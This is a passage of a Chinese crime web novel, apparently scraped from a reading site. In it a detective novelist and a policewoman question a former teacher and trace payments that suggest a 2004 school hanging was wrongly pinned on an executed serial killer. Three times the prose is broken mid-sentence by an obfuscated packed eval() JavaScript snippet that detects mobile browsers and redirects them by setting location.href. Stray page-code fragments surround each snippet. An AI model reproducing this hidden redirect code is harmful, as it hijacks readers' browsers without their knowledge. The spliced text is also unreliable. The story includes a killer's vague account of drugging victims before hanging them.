“还是那句话,我不妨碍你偷偷谈恋爱。结婚的事,你暂时就别想了。”张芷琼站起身,走了出去。 张越凝靠在椅背上,她微微咬着下唇,一动不动。 晚风从窗外吹进来,把桌上的几页打印纸吹到了地上。 再侧头往外看,月亮不知道隐去了哪里,只留下层层的乌云。 半天,她才幽幽吐了两个字:“有病。” 喵! 不知什么时候,脚边多了一只深灰色的肥胖蓝猫。 它两只前爪并拢着地,后腿乖巧蹲着,看上去活脱脱像漫画里的龙猫。 “黑豆。”张越凝唤了那猫一声。 黑豆往上一窜,灵活的胖子趴在了她的大腿上,头轻轻往她手上蹭了蹭。 张越凝揉了揉猫猫的胖脑袋,没多久,黑豆发出舒服的呼噜声。 她浅浅笑道:“你要减肥了,黑豆。” * 百步刑侦大队3组办公室里,大家在汇总工作。 田海亮:“昨天上午我去了红猿山底下的薛家村,找到了薛冬华一家,薛冬华等人证实贾伟东和卢照麟确实在2004年9月23日开始跟着他们进山打猎,去了几天他们忘记了。还有,贾伟东、卢照麟两人的DNA跟夏木橙腹中胎儿的DNA已经排除了亲缘关系。” 程栋梁:“按照头儿的吩咐,许忠那边我们暂时没有打草惊蛇,只调阅了他的档案和资料。” “许忠,男,56岁,机械厂职工,退休后在花鸟市场兼职做管理员。他女儿已结婚生子,目前许忠老婆在省城照顾外孙。” “许忠这个人在同事和邻居眼里就是一个特别老实忠厚的人,跟梁国邦关系也很正常。目前没发现作案动机。” 小耿追查的线索也毫无所获,“怪楼周边监控最长保留时间是3个月,在报案人进去之前,这3个月都没有人进入怪楼。” 刘泰安:“梁、夏两家所有的亲戚朋友以及机械厂家属院里二十五岁以上的男性,全部筛一遍,没做笔录的要补做笔录,特别是许忠,在做笔录的同时,不要让他察觉到我们的怀疑。然后尽量说服所有人提供DNA进行比对,技巧你们都懂的。这次工作量比较大,海亮和栋梁你们两个全权负责,广智派出所会全力配合相关工作。” “好,我知道了。” 刘泰安:“另外,两位死者在读的学校百步中学当年的老师和学生也要……” 夏木棉在快速做着笔记,她办公桌面忽然被轻轻敲了两下,陆从景示意她一起出去。 她赶紧收拾挎包跟着陆从景出了办公室门。 他们今天要去见她姐姐失踪前最后接触的人,原百步中学的数学老师戚振勋。 出事没多久,戚振勋就被调去了下边小县城的一所普通中学任教。 从临城出发去小县城要一个多小时,他们是中午十二点多到的。 一个消瘦的中年男子站在校门口等他们,他戴着黑框眼镜,眉眼中有股淡淡的没有生气的书卷味,看着倒像是个落寞文人。 学校正在进行期末考试,戚振勋是上午才收到协助调查的通知,他都没心思吃午饭了,只问:“是去旁边的茶馆,还是去食堂?” 办公室有他没回家的同事,肯定是不合适的。 但无论是茶馆还是食堂,现在都是人最多的时候,陆从景打量着对方,问:“你住附近吧?” “我宿舍在学校后面。” “那就去你家。” 戚振勋在前面带路,穿过学校外墙的一条小径,进了教职工宿舍楼。 木棉昨天拿到了戚振勋的资料。 他是90年代某知名师范大学毕业的高材生,在百步中学执教期间教学成果斐然,但因被家长投诉不公平对待学生,于2004年10月被迫暂停工作,并于翌年从市区调到了小县城。 戚振勋现年39岁,一直单身未婚,这在婚恋市场上被视为香饽饽的老师来说并不常见。 职工宿舍没有电梯,他们爬上六楼,在最角落的位置停下脚步。 开门进屋,是个一居室的单身公寓,收拾的很干净整洁。 戚振勋给他们泡了茶,然后三人就坐在沙发上开始了“聊天”。 “我没想到,夏木橙会是这样的结局。”戚振勋神情满是哀伤和可惜。 陆从景:“我看了你之前的笔录,2004年9月24日当天下午,你是最后接触夏木橙的人。” 戚振勋因为前后做过几次笔录所以对此印象深刻。 “那天是星期五,最后一节课本来是体育,但体育老师临时有事,就跟我换了课。那节课我讲了一张卷子,课后夏木橙有一道附加题没想明白,就来办公室找我解题,我跟她重新捋了一遍,大概五点十分左右,她就离开了我们办公室。” “当时你们办公室还有其他人吗?” “有其他科的老师在。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837537|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她是自己一个人离开的?” “夏木橙离开之后,我就从办公室出来去传达室取信件,在楼梯口,我看见夏木橙和梁小宇一起离开了。当时两个孩子神情都比较严肃。我是他们出事之后,才听说,是梁小宇的班主任找他聊了早恋的事。” “你看见他们往哪个方向走了吗?” “这个我没留意。” “你确定?”陆从景盯着他,语气忽然强硬起来,“你要不要再好好回想回想。” 不止戚振勋愣住,就连夏木棉也微微顿住了,来之前,陆从景没跟她详细透露今天要怎么聊。 戚振勋尴尬笑道:“我确实没留意。” “我这里有最新的证人可以证明,有人看见你,跟着梁小宇夏木橙从后门离开了百步中学。” 戚振勋脸色瞬间凝重了。 这个最新证据,木棉之前也不知道,但她不能表现得完全不知情:“戚老师,你最好如实回答,不然,受影响的还是你自己。” 戚振勋十指交叉握着,左手轻轻扣着右手大拇指,沉默了大概两分钟后,他说:“我确实看见他们从后门绕过后山离开学校,但我不是跟踪他们。” “你不是跟踪他们?!” “我不是。那天下午,有学生认为我偏袒其他人,约了我到学校外见面。” 陆从景质疑:“当年做笔录的时候,你为什么不说实话。” 戚振勋又顿住了,过了会儿,他才回答:“不想惹事上身。而且当时大家都认为他们是离家出走,所以他们从哪个门出去,都不会影响警察判断。” “你认为你说了实话,会惹什么事上身?” “不必要的麻烦。” “什么不必要的麻烦?”陆从景穷追猛打,但语气还相对平和。 面对这个问题,戚振勋再度陷入沉默。 陆从景打开自己的手机相册,翻出其中一张照片,放在桌上:“这人你认识吧?” 木棉看了眼手机里的照片,是一个十七八岁的少年坐在沙发上拨弄着吉他,看照片里的背景环境,应该是个有钱人家的孩子。 戚振勋扶了扶眼镜,不得不坦诚:“他叫张皓钧,也是我的学生。那天就是他约我见面。” “他约你在哪儿见面?” “学校外面的紫竹林。” “见着了吗?” “没有。我等到6点他都没出现,我就回家了。结果回到家没多久,工作群里就炸开了。张皓钧被人发现吊死在学校后山。” 夏木棉忽然明白过来,原来照片中的男子就是她姐姐失踪当天被杀的百步中学学生。 当时事情闹的很大,因为那是大名鼎鼎的连环吊颈杀手在临城犯下的第五起吊杀案! 她爸妈还有大伯一家因为害怕姐姐和梁小宇也遇到连环杀手,当时发动了所有能发动的亲朋,在外面找人。 直到梁小宇被发现溺亡…… “你在紫竹林等待张皓钧的时间段,有没有时间证人?” 这次戚振勋没多思考就摇头:“没有时间证人。但是,张皓钧不是被连环杀手杀害的吗?我看新闻上说,凶手上半年已经伏法了。” 陆从景没有直接回答他的问题,“你没有时间证人?” “没有。我想不起来了。” “这起案件之后,你为什么被停职调查?据我所知,不是因为不公平对待学生这么简单吧。” 戚振勋揉了揉鼻子,坚持道:“就是这么简单。” 陆从景拿回手机,找到另外一张照片,放桌上,“这位呢,详细说说你们的关系。” 木棉瞄了眼手机上的照片,是张越凝。 张越凝是张皓钧的表姐,当时他们跟梁小宇夏木橙一样,都是百步中学高三学生。 只是四个人分别在四个班。 8.第08章 中午时分,窗外鸣蝉分外呱噪。 看着张越凝的照片,半晌,戚振勋才挤出一句话,“她也是我的学生。” “只是学生吗?” “警察同志,你问的这个问题,跟你们要调查的夏木橙案件完全没有关系吧?!”戚振勋大声质疑。 陆从景盯着戚振勋,看他反应这么激烈,似乎更加印证了他之前得到的信息是对的。 “张越凝高三的同学说,有人曾经见她多次进出你的宿舍。” “我在给她补习。” “你趁着给她补习,做了不该做的事!”陆从景也提高了音量,步步紧逼。 “我要是做了犯法犯罪的事,我早进监狱了!” “你是没进监狱,但你因此被停职,最后被调离百步中学。你之所以还能继续做老师,是因为张越凝不愿意站出来指证你,我说的没错吧?你跟张越凝或者她母亲张芷琼之间做了一笔交易,你杀了张皓钧,她们就放过你。是不是?” 面对陆从景的咄咄逼人,戚振勋忽地站起身,“我没杀人!” 陆从景一字一顿地吐出三个字:“说实话!” 木棉做笔录的手,不由得停了下来。 她不确定这是陆从景的猜想,还是他手上有真实证据。 一般走访调查是不会这么剑拔弩张的,这差点把教师宿舍都变成审讯室了。 她也从没见过陆从景这么强势。 这个时候,如果戚振勋懂法,他完全有权利保持缄默。 但明显他心态被陆从景给击穿了。 “我跟张越凝就是普通的……师生恋,我没有对她做过任何过分的事。我们的关系被她的表弟张皓钧发现之后,他打电话约我出去,不知道他是想打我一顿,还是想逼我远离张越凝。” 陆从景再次重压逼问:“你杀了张皓钧?” 戚振勋不得不重申,“我没有杀张皓钧。我那天傍晚根本就没见到他。” “你一个人就这么傻傻地等在紫竹林?据我所知,张皓钧是少数带手机上学的学生,你没打他电话?” “我打了,他手机关机。如果我打通了他手机号码,当年警察肯定能查出来。”戚振勋脑子倒还清醒。 陆从景依然一瞬不瞬地盯着对方:“紫竹林就在后山的山脚下,距离张皓钧被杀的位置很近,你当时没发现什么异常吗?” “有。”戚振勋语气比刚才轻松了些,他缓缓坐下。 陆从景等着他继续说下去。 戚振勋:“我到紫竹林没多久,就看到一个陌生中年男人急匆匆从山上下来,然后往北走了。” “往北走了?”陆从景语调也缓和下来。 “对。” “那中年男人有什么特征吗?” 戚振勋仔细回想着:“戴着灰色鸭舌帽,样貌看不清楚,个头不太高,也不壮,中等身材吧,手里拎着一个帆布袋,他走的很快,到山底的时候,差点摔了一跤。” “个头不高是大概多高?” “一米七左右,最多一米七。” 木棉快速记录的同时,补充问道:“你是怎么确认他身高在一米七左右的?” “他当时经过一棵松树,那棵松树大概一米八,他比松树要矮十公分左右。” “为什么记得这么清楚?” 想了一会儿,戚振勋才说:“我回到家看到□□群的信息,知道张皓钧出事了,我就一直在回想下午发生的事。后来警方很快锁定凶手,我也就没跟警察说这些情况。” 陆从景又问:“你说那个人手里拿着一个帆布袋?什么颜色?目测里面装的东西多吗?你详细描述一下。” “白色的帆布袋,那个帆布袋上面写了一个大大的阿拉伯数字‘40’,里面装的东西不多,看起来也不沉,就像里面放了……两块腊肉。” 这数学老师还挺会形容,他说里面像是放了两块腊肉,夏木棉立刻能想象帆布袋的蓬松度。 陆从景又问了几个细节,没再说什么。 在等待派出所民警来协助做正式笔录的时候,戚振勋忍不住问了一句,“你们为什么会怀疑张越凝和她母亲想要杀张皓钧?” 正在发短信的木棉也抬起头看向陆从景。 陆从景反问:“我们什么时候怀疑张越凝和她母亲了?” 戚振勋忽然明白过来,“你刚才诈我?” 陆从景轻轻一笑,没回答。 木棉忙解释:“按照规定,我们不能对外透露案情。” 戚振勋低下头,过了一会儿,他近乎自言自语地呢喃:“听说……她做了律师。” 木棉不好回话,张越凝不止做了律师,还即将跟她晖哥结婚。 陆从景瞟他一眼:“你们没联系?” 戚振勋尴尬摇了摇头。 已经不是一个世界的人了。 * 下午三点半,他们终于在小县城一家苍蝇馆子坐下。 这个时间段不是饭点,整个小饭馆就他们两人。 木棉拧开冰红茶瓶子,习惯性看了眼瓶盖,没有再来一瓶。 他们点了三个家常菜,因为店里没其他客人,菜很快上齐了。 木棉吃着辣椒炒肉,问:“师兄,你怎么知道我姐和梁小宇当天是从后门离开的?真有证人吗?” “没有。我前段时间找了张皓钧的同学,其中有一人看见戚振勋在放学后,急匆匆从后门离开。你肯定很好奇,我是怎么联想到,夏木橙和梁小宇也是从后门离开的?” 夏木棉忙点头表示想知道。 陆从景:“回到临城我找出地图详细解释给你听。” “哦。” 夏木棉默默吃着米饭,耳边传来街上叮叮当当卖麦芽糖的叫卖声。 又吃了一大口凉拌笋丝,她终究还是忍不住问出憋了大半天的问题。 “师兄,你是为了调查张皓钧案,才接我姐这个案子……” 她话没说完,陆从景已经回她:“是。” “但杀害张皓钧的凶手已经伏法了呀。” 那位凶手叫崔雄伟,是轰动全国的吊颈连环杀手,2002年至2005年期间,在临城周边县市总共杀了7个人。 都是用乙/醚让受害者进入半迷昏状态之后,挂到房梁或者树上吊死的。 2005年崔雄伟犯下最后一起案件后,法医在受害者指甲缝里成功提取到了凶手的完整DNA数据。 因为最后一起案件的死者反抗激烈,现场留下了不少证据,怕伏法的崔雄伟自此收手。 崔雄伟这几年帮人开大货车,去年在高速上撞人逃逸被抓,其DNA比对上了当年的吊颈杀手,大案这才告破。 崔雄伟对于当年犯下的几起案件,全都供认不讳。 于今年3月在临城被执行死刑。 木棉看过详细的报道,她记得崔雄伟身高差不多一米八,人很壮实,跟刚才戚老师口中看到的陌生男人完全不一样。 辣椒太辣,陆从景抽了张纸巾,擦去额头上的细汗,说:“崔雄伟在行刑前主动要求跟我见面,他希望我写一本以他为题材的小说。” 在会面室里,崔雄伟跟陆从景讲述了自己悲惨的童年。 崔雄伟出生在临城郊区农村,他父亲是个赌鬼,每次赌博输了钱,就回家拿妻儿撒气。 拳打脚踢那是家常便饭。 崔雄伟稍微长大一点,开始有意识反抗,但他越反抗,他父亲打他打的越狠。 好几次把他吊在谷仓里毒打,有一次毒打完,吊了他一天一夜,导致崔雄伟差点死去。 他母亲胆小懦弱,只会哭着求崔雄伟听话,求他不要反抗,忍一忍就好了,但崔雄伟偏不,他要反抗。 父亲打不服他,最后就把气撒到他母亲身上,这让崔雄伟更愤怒和狂躁。 他发誓,等他长大后,等他有力气了,一定要打死那禽兽不如的垃圾。 可惜他爸在他十三岁的时候突发疾病暴毙,崔雄伟积累在内心深处的怨气无处发泄。 直到结婚后,有一次他和老婆因为琐事吵架,他失控把老婆吊了起来…… “我就蹲在地上,看着她挂在吊扇上,看她呼吸上不来,拼死挣扎的死样,你不晓得,我整个脑壳像涂了清凉油一样,舒服!比喝酒比玩女人都舒服!!” 陆从景看着眼前的魔鬼,冷声问:“你把你老婆吊死了?” “没得。刚好我儿子放学回来咯,我清醒过来,我要是把我老婆吊死,我也得枪毙,那我儿子怎么办?你说是吧?” 2002年5月,崔雄伟因为母亲赡养的问题再次跟老婆吵架,气头上他骑着摩托车去镇上买酒喝,途中遇到一个老大爷想坐他的摩的回县城。 他把老大爷送到县城后,去对方家上了个厕所。 刚好那天老大爷家没其他人,鬼使神差的,他用一根细绳把对方勒到半死后挂了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842029|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我看着那老汉一点点被勒死,像吊死一只拼命挣扎的□□,真快活。” 能上瘾。 第一次犯案,是临时起意,完全没有准备,崔雄伟自己也差点受伤,后来他就想办法弄来一瓶乙/醚,每次都把受害者捂到半昏迷的状态,再把对方吊起来。 “剂量把握是个技术活。太清醒了,他们会挣扎得很厉害,有可能会出现意外情况。完全昏迷了,吊起来就像一条死尸,没有挣扎,也不刺激。” 崔雄伟就像一个技术纯熟的手工艺人,跟陆从景侃侃而谈地炫技。 他杀人没有规律,心情不好的时候,就到县城或者市郊找一个看起来比他弱的,找机会就杀了。 “你跟你父亲一样,是个只会欺负弱者的垃圾。” 崔雄伟笑着否认:“我跟那个禽兽不一样!我从来不打我儿子,半个手指头我都没打过他。” 说起儿子,他脸上难得露出一丝的温和。 “你们身上流的都是一样肮脏的血,你不止欺负弱者,你还虐杀比你弱的无辜生命。那是别人的父亲、儿子、女儿……你父亲毁了你,你毁了7个家庭。你父亲是禽兽,你是禽兽不如。”陆从景没有那么多的同情心,他没办法共情一位装可怜的罪大恶极的罪犯。 网上有很多人同情崔雄伟童年的遭遇,反思社会的种种不堪,陆从景没有这种反思能力,他不是圣父。 被骂了的崔雄伟没有生气,他还笑了。 “你会帮我出书吗?” 陆从景摇头:“我是一个侦探小说作家,不是犯罪纪实记者。我不会帮你出书,更不可能帮你洗白,帮你反思这个社会!你找错人了。你应该找没有底线、只要噱头的媒体记者。” 崔雄伟略微有些失望地笑了笑,“我猜到了。” “你猜到了,还找我?” “就试试。我看过你的小说,知道你很出名。我不是文盲,我也算是半个知识分子,我读了一年高中的。我平时也很爱看书。”崔雄伟一句话里说了4个“我”字。 “你看过我哪本书?除了主角,你最喜欢哪个角色?” “重要吗?”崔雄伟继续自说自话,“如果我不是摊上那样的老汉,我不会是这样的人。” 陆从景同意:“你的父亲就不应该出生,你也不应该。” 探监时间快到了,陆从景离开之前,崔雄伟忽然说:“其实我只杀了6个人,有一个不是我杀的。” 陆从景不太相信地看向他:“最高院核准死刑都下来了,你还想做无谓的挣扎?” 崔雄伟摇头:“我挣扎没得意义,杀6个还是7个,我都是死刑。活着好苦,我不想再折腾,我想早点死。” 陆从景明白过来,“你找我来,就是想告诉我,有一个人不是你杀的?” 见陆从景又坐下,崔雄伟放低了音量:“第5个案子的张皓钧不是我杀的。是有人模仿我的作案手法杀了张皓钧。我一开始就说了张皓钧不是我杀的,但警察不信,后来我也懒得辩解,就全认了。反正我已经没得活路。” “第5个案子?” “对。张皓钧,那个有钱人的孩子。” 陆从景:“那你为什么选择现在告诉我呢?” “我喜欢看你的小说。我告诉你真相,想知道你有没有这个能耐破这个局。” “你应该告诉警察实情。” 崔雄伟:“太难熬咯,多一天我都不想活,更不想为自己翻案。我现在跟警察坦白也没用,我前面承认了是我杀的,已经办成铁案,没办法推翻了。” “你凭什么让我相信你呢?” “2004年9月15日开始到国庆节,我偷渡去缅甸帮人带玉石,根本就不在国内。你可以去调查。”崔雄伟非常自信陆从景会去调查。 最后他还说:“这个案子你要是破了,肯定能一举成名!” “我不需要。” 陆从景离开探监室的时候,并没有答应去查这个案件。 喝了口冰红茶的夏木棉好奇问:“师兄你是什么时候改变主意,想要重启调查的?” 陆从景放下筷子:“我当天就跟警方反馈了崔雄伟跟我的交谈内容,警方调取监控后去询问崔雄伟,但崔雄伟矢口否认,他说他是我的书迷,他只是跟我开了个玩笑。” 夏木棉糊涂了,“啊?这是哪一出?” 陆从景:“没多久,崔雄伟被执行死刑,之后没几天,有人给我寄了一封信。” 9.第09章 陆从景收到一封没有寄出地址和署名的信件。 信中有崔雄伟2004年9月下旬到缅甸偷运玉石的票据和一张有崔雄伟的带日期照片。 夏木棉:“那就是说,杀张皓钧的凶手真是另有其人。” 陆从景点头:“应该是的。” “谁给你寄的信?崔雄伟的家人吗?” “一开始我也以为是。不是他的律师就是他家里人。我去了崔家一趟,但他家人讳莫如深,都表示不知情。更奇怪的是,他家在崔雄伟死后,忽然变有钱了!不止买了车,还买了商品房。” 夏木棉灵光一闪,轻声道:“崔雄伟一开始并不承认自己杀了张皓钧,有没有可能是他收了别人的钱之后,才在警察面前揽下杀害张皓钧的罪?崔雄伟临死前还是希望能够真相大白,所以特意找你帮忙。警察问他,他又不承认,可见他是既想给家人留点钱,又想等他死后你可以帮忙找出真凶?” 小姑娘还是很有灵性的。 陆从景略微欣赏地点头,“可能性很大。” 所以,付钱给崔家的人应该就是真凶。 陆从景起身去厨房门口的电饭锅前加米饭。 餐馆老板娘在前台打电话完全不管,这种小馆子,客人都是自己动手丰衣足食。 等陆从景装饭回来,木棉继续刚才的话题。 “师兄,你有去查是谁给崔雄伟家人那么多钱吗?” “这种钱不可能直接通过银行转账,很难查。” “那你为什么会怀疑张越凝呢?” 虽然刚才陆从景在戚振勋面前否认了这个怀疑,但夏木棉知道,那不是真话。 陆从景夹了一块见手青,说:“张越凝的助手叫沈青,沈青的银行账户于去年5月26日向一家搬家公司转账25万,第三天崔雄伟儿子崔明往银行存款25万。如果单单这一笔款,那可能还只是巧合,但后面还有。今年3月21日崔雄伟被执行死刑,同日下午,沈青向一家装修公司的法人转账75万,然后接下来的一周内,崔家母子分别向不同的银行存了3笔款,加起来的金额是70万,后来我发现,就在那个星期,他们支付了5万的房款订金。” “也就是说沈青前后总共转出100万,而崔家人刚好也在她支付的时间段,得到了100万。” 夏木棉没问陆从景从哪儿得到的信息,但如果他所查属实,沈青跟崔家人肯定是有关系的。 陆从景:“沈青是外省人,背景非常简单,她除了是张越凝的助手外,在临城没有其他复杂的社会关系。” 张越凝为什么要杀她的表弟呢? 当时她也只有17岁而已。 要买凶杀人,也不可能是她。 “真正的主谋很可能是她的利益共同体,她母亲张芷琼。” 夏木棉想了想:“为了钱?” “普通兄弟为了一间小破房都可能打的你死我活,何况他们这种家庭?” 张越凝的外公张鸿禺是鸿达集团的董事长,鸿达没上市,具体有多少资产没人清楚,坊间传闻,肯定至少几十亿往上走。 张鸿禺有三任伴侣。 发妻早年生病去世,留下了长子张启峰。 第二任妻子于三十年前离世,留下女儿张芷琼。 第三任伴侣跟张鸿禺没有领结婚证也没有生育孩子,她是带着儿子跟了张鸿禺的。 所以,张鸿禺亲生的孩子只有一子一女。 张鸿禺儿子儿媳在2000年初出意外去世,他们育有一对双胞胎,后来双胞胎中的女孩生病去世,就只剩下张皓钧。 张芷琼带着女儿一直住在娘家,她婚姻破裂后,跟父亲关系紧张。 “张鸿禺因气张芷琼出轨离婚,父女关系非常紧张。2004年张鸿禺重病,立下遗嘱要将大部分遗产留给独孙张皓钧,小部分留给张越凝,而张芷琼被完全排除在继承人之外。” “没多久,张皓钧被杀。而张越凝作为张家第三代唯一继承人,很有可能成为最大的受益者。” 夏木棉没想明白,“不过张越凝没有回鸿达集团继承家业,她现在是一名律师。” “张芷琼虽然跟父亲关系不好,但她在鸿达集团一直担任要职,前几年已经升为总经理,张越凝也是鸿达的法律顾问,这种大家族的接班,路还很长。” 木棉之前只知道张越凝家里有钱,但不知道这么有钱,而且还是家族唯一继承人。 难怪陆从景感叹曾晖厉害。 如果曾晖能和张越凝结婚,那他真是迎娶白富美,自此走向人生巅峰。 此时,餐馆老板娘打完电话,坐在他们前面的餐桌旁包馄饨。 两人没再讨论案情。 * 云麓庄园在市中心的麓湖边上,是临城最贵的小区。 曾立兴和戴丽华夫妇站在阳台上,看着远处的麓湖,心旷神怡之外,不由心生遥想。 戴丽华回头看了一眼,中介不在,她忍不住小声感叹:“刚才我问中介,这套房要五百多万。要是能住上这么好的房子,我这辈子值了。” 曾立兴嘲笑她:“想什么呢,谁愿意跟公公婆婆一起住?” “不是,你没听小晖说,这套房子是买给我们住的?” 曾立兴多少有些不敢相信:“这房子给我们住?” “是啊,越凝是这么计划的。” “房产证写谁的名字?” “他们两个的名字。” “那他们小两口婚后住哪儿?” “越凝妈妈家。” 曾立兴微微摇头:“这合适吗?传出去,别人会不会以为我们曾晖做上门女婿了?” “你要有心理准备,到时候生孩子,她家肯定要求生两个,至少有一个跟她们家姓。” 曾立兴沉默了。 戴丽华揶揄他:“干嘛,不愿意啊?” “我无所谓。她愿意生就行。婚前谈好了,我没意见。哎,什么时候跟她妈妈见面?” “快了吧?说实在的,我有点紧张,怕她妈妈嫌弃我们穷。” “我们怎么穷了?在机械厂家属院,就我们有点小钱,如果买套四五十万的房子,我们也是可以付全款的。” 戴丽华瞪了丈夫一眼:“就剩下嘴硬了。这是能比的吗?” 当然没办法比。 高攀有高攀的苦恼。 曾立兴:“我也怕跟她家人见面。” 过了一会儿,曾立兴又问:“小晖怎么还没来?” “配合警察提取DNA,昨天警察上门,你的取了,他的没有。今天他跟许忠一起去的。” “2004年小晖才18岁,而且他那时候去外地读大学了,这也要提取DNA?”曾立兴冷笑一声,“这些警察简直胡来,不动脑子。” 戴丽华无所谓:“提取就提取呗,又不会少二两肉。” 曾立兴看着远处的湖景,忍不住再次感叹:“早知道老了能享儿子福,以前就不用这么拼了。” 没多久,中介去接了张越凝和曾晖上楼来。 这套房的户型很好,前业主装修后也没住过,大家都很满意。 张越凝问中介:“过户麻烦吗?” “房子还有贷款,可能办手续时间需要长一点。卖家在北京,如果张小姐您确定买,业主会回来一趟。” 张越凝看向曾晖,笑问:“那就定下来?” 曾晖个子高,他爸妈都只是中等甚至偏矮的个头,但他却像基因突变似的,是家属院男孩里个子最高的。要不是他长相随爸妈,他都要怀疑自己不是亲生的了。 女友全资付款,他能有什么意见? “我都可以。”但曾晖不想占她便宜,“写你名字就好。” 张越凝不听他的,“说好写两个人名字的。我就想要一套我们联名的房子。” 曾晖牵着她的手,笑着没再说什么。 戴丽华和曾立兴刚才都被傻儿子的拒绝给唬住了,如果他们傻儿子真不要加名字,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846415|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们也没办法。 但长远看,一套房子的利益,似乎也没那么重要。 戴丽华笑道:“写谁的名字不要紧,你们感情好才最要紧。小晖,你以后一定要好好对越凝,你要是敢欺负她,妈妈第一个就不答应。” “我哪里敢欺负她?!” 张越凝笑着挽起戴丽华的手,“还是阿姨疼我。” “当然疼你。” 房产中介的办公室就在小区外面,他们去签合同,张越凝刷卡交了20万定金。 路上,戴丽华问张越凝:“你跟你妈妈约时间了吗?” 走在前面的张越凝回头:“我爷爷生病了,我妈最近比较忙,等她有时间了,我再跟你们约。” 戴丽华和曾立兴互相看了一眼,心中有些忐忑,张越凝妈妈不会不同意孩子们的婚事吧? 签完意向合同,他们去附近一家高档私房菜馆吃饭。 戴丽华和曾立兴第一次来这种地方,是既兴奋又拘谨,好在张越凝对他们非常体贴和照顾,点的也都是他们爱吃的菜。 吃到中段,曾立兴去上洗手间,曾晖有工作电话,戴丽华则跟张越凝闲聊。 “你上次送我们那个平板,上面有个绿色图标看小说的软件,要收费吗?” 张越凝:“有收费的,有不收费的。阿姨你账号多少?我给你充值,你可以随便看。” 戴丽华摇头:“收费的我不看。我看免费的就好。” 反正看小说也花不了多少钱,张越凝没勉强,免得对方不舒服。 她顺着话题问:“阿姨你喜欢看什么小说?” “我什么小说都看呀,不过我最喜欢看的,还是以前流行的台湾言情小说。” “我妈妈也喜欢看。” “是吗?”听说未来亲家有相同爱好,戴丽华高兴道:“我们那个年代的人都爱。” 说着戴丽华给张越凝舀了一勺肉丝绘鸡枞,“这道菜好吃。还是你会点菜。” “阿姨你也多吃。曾晖跟我说,你最爱吃鸡枞了。” 戴丽华微笑着看向张越凝,满眼都是喜欢。 这么有钱的千金小姐,还这么懂事,这么有礼貌和善解人意,她对儿子婚后的生活,充满了憧憬。 那是他们整个家庭的跃升。 * 陆从景租住的房子在一个破旧的老式小区里。 他住三楼,小两居,一个卧室,一个书房。 走进书房,夏木棉被眼前景象给镇住了。 一张简易的黑色长条桌旁边是黑板大小的软木墙板,上面用图钉钉了满满一面墙的照片。 最中间位置的照片是张越凝母亲张芷琼。 陆从景从桌子底下找出一张临城百步区地图准备放到桌上。 见桌面堆满杂乱的资料,眼里有活的木棉赶紧把桌面清理出来。 地图铺好。 灯光下,陆从景在百步中学后门的位置放上一颗围棋的白子。 “2004年9月24日下午五点一刻左右,梁小宇和夏木橙从学校后门离开百步中学。而数学老师戚振勋刚好跟在他们身后不远处。彼此距离应该隔得不是很远。” “戚振勋到了紫竹林不久,看见后山下来一个鸭舌帽中年男人。男人走的很急,差点摔了一跤,之后往北走。” 百步中学一带的地形夏木棉很熟悉,她说:“我姐和小宇哥如果从学校后门出来,往北走一段路是能抄近道回家的。” 所以,同样往北走的鸭舌帽男人很可能会跟梁小宇夏木橙相遇。 陆从景在地图上往北一指,“百步中学后门出来,往北走,沿着小松山的山道步行大概一千米,就是天水坝。” 他在天水坝放下第二颗白子。 那几天,刚好是老好人许忠在天水坝帮卢照麟看管鱼塘。 “这就是我猜测夏木橙和梁小宇从百步中学后门出来之后,往北走的原因。” 只有这样,三条人命案件才能完全串起来。 10.第10章 前边陆从景只讲了个开头,夏木棉就明白过来了。 “鸭舌帽男人遇到了我姐和小宇哥,他表现的太慌张,引起了我姐他们的注意。如果是陌生人,那他逃走就好了。但……假设鸭舌帽男子是熟人,他肯定担心我姐和小宇哥会对外暴露他的行踪。” 陆从景点头:“他应该是找了个借口把夏梁二人骗到天水坝鱼塘的值班房。” 两天后凶手在天水坝溺死梁小宇,之后长期囚禁夏木橙。 为什么两天后才动手,这是另外一个谜题。 大热天的,书房里也没开空调,木棉只觉得手脚冰凉。 她看着压在天水坝上的棋子,久久说不上话来。 难道杀害她姐姐的真是看着老实巴交的许忠? 陆从景看得出木棉心底难受,他也没安慰她,而是往前展开话题。 “先不管鸭舌帽是不是许忠,我们先确定鸭舌帽中年男子是真凶的可能性有多少?” 说着他从桌上的资料堆里拿出一张巴掌大的白色卡纸,写上“鸭舌帽”三个字,然后钉在软木板上。 “在张皓钧被吊死的案发现场,山边泥土里留下几个凌乱的鞋印。这个鞋印经过测量,是44尺码的皮鞋,跟吊颈杀手在第2起凶案现场留下的鞋印,皮鞋品牌和大小都完全一致。” 陆从景从资料堆里翻出几张资料,这是他复印的现场鞋印照片。 